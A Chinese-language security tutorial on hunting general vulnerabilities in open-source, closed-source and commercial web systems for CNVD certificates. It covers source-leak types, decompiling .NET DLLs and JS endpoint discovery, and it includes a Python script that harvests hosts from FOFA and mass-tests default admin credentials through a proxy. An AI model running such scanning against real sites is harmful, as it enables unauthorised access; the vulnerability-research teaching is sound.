CNVD证书开源&闭源&售卖系统

SRC

知识点:通用漏洞:100+ip部署该系统

1、通用漏洞分类:开源系统、闭源系统、售卖系统

  • 分类、解释、区别

    • 开源系统:可以拿到源码
    • 闭源系统:一般拿不到源码
    • 售卖系统:可能拿到源码,也可能拿不到(社工)

2、如何寻找上述三类系统并进行安全测试

  • 开源:各大源码站下载代码审计
  • 闭源:Fofa搜索尝试获取源码审计或黑盒测试
  • 售卖:套路社工获取源码或购买源码审计或黑盒测试
  • 确定无源码的情况下,可利用JS文件寻找测试接口(较传统信息收集多一个方面)

3、如何挑简单的入手最快速度获取证书

  • 目前Java难度最大,py项目较少,挑php,aspx入手
  • 其中php代码清晰明了(推荐),前期讲过,aspx涉及反编译代码后审计。

常见的Web源码泄漏漏洞及其利用:https://www.secpulse.com/archives/124398.html

Web源码泄露的漏洞:

  • git源码泄露
  • svn源码泄露
  • hg源码泄漏
  • 网站备份压缩文件
  • WEB-INF/web.xml 泄露
  • DS_Store 文件泄露
  • SWP 文件泄露
  • CVS泄露
  • Bzr泄露
  • GitHub源码泄漏

案例1:某开源逻辑审计配合引擎实现通用

Snipaste_2023-09-10_06-36-23

Snipaste_2023-09-10_06-35-01

下载安装

Snipaste_2023-09-10_06-37-12

Snipaste_2023-09-10_06-37-08

去黑暗引擎上搜索影响面有多少

Snipaste_2023-09-10_06-42-18

这里我是搜索的title,最开始我用的是icon,我将这个网站的png图片上传上去之后,发现没有结果,然后我就用title的方法,这里应该也可以用body的方式搜索下面内容:

Snipaste_2023-09-10_06-43-48

Snipaste_2023-09-10_06-44-49

视频中是对后台进行弱口令进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import base64
from lxml import etree
import time

search_data='"admindm-yourname/g.php" && country="CN"'
url='https://fofa.info/result?qbase64='
header={
'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Cookie': '',
}
search_data_bs=base64.b64encode(search_data.encode('utf-8')).decode('utf-8')

for page in range(1,7):
yesu='&page='+str(page)+'&page_size=10'
urls=url+search_data_bs+yesu
try:
result=requests.get(urls,headers=header).content
#将返回的字符串利用lxml解析为html文档
html=etree.HTML(result)
ip_data=html.xpath('//a[@target="_blank"]/@href')#返回的列表形式
ip_data='\n'.join(ip_data)#
print('正在提取第'+str(page)+'页')
#将字符串写入文本,a+意味着在文本的末尾追加内容
with open(r'cnvd.txt','a+',encoding='utf-8') as f1:
f1.write(ip_data+'\n')
f1.close()
time.sleep(0.1)
except Exception as e:
time.sleep(0.5)
pass
print("ip获取成功,接下来进行poc验证")

data={
'user':'admin',
'password':'admin123',
}
proxy={'http':'183.247.211.156:30001'}

for url in open(r'cnvd.txt'):
url=url.replace('\n','')
urls=url+'/admindm-yourname/mod_common/login.php'
try:
result2=requests.get(url=urls,proxies=proxy,timeout=0.5).status_code
time.sleep(0.5)
if result2 != 200:
print(urls+'的登陆界面url不存在')
else:
try:
result3=requests.post(url=urls,proxies=proxy,data=data,timeout=0.5).content.decode('utf-8')
time.sleep(0.5)
if 'sorry' in result3:
print(urls+'的密码错误')
else:
print(urls+'存在登陆弱口令漏洞')
except Exception as e:
pass
except Exception as e:
pass

但是我这一套后台有验证码,直接放弃~

案例2:某闭源审计或黑盒配合引擎实现通用

—在源码网站下载一个.net源码,找一个人气比较高的

在源码的bin目录下有很多dll文件,使用dnSpy工具打开这些dll文件即可查看其源码,接下来审计源码即可。

Snipaste_2023-09-10_17-03-14

Snipaste_2023-09-10_17-05-24

案例3:某售卖审计或黑盒配合引擎实现通用

#通用步骤:

—1.尝试性获取源码

—2.类似java或.net编译类文件反编译源码-dnspy,idea

—3.无源码情况下的JS接口数据提交测试模拟-jsdinder,手工,扫描

搜索一个系统:网校登陆系统:app=“网校登陆系统”

使用jsfinder工具,扫描js文件,爬取系统中的一些地址、接口,从而获取更多信息,扩大测试范围(可能用js进行交互)

还可以用其他工具载入js字典,然后在从js目录下进行扫描目录,从而扩大攻击面

—字典fuzzDicts下载:https://github.com/TheKingOfDuck/fuzzDicts